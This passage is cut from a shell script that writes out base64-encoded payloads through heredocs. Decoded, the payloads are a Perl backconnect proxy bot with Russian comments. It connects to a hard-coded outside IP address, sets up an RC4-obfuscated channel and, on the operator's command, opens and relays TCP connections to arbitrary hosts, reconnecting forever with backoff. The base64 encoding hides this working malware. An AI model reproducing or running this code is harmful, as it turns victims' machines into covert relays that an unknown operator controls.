KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_5() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
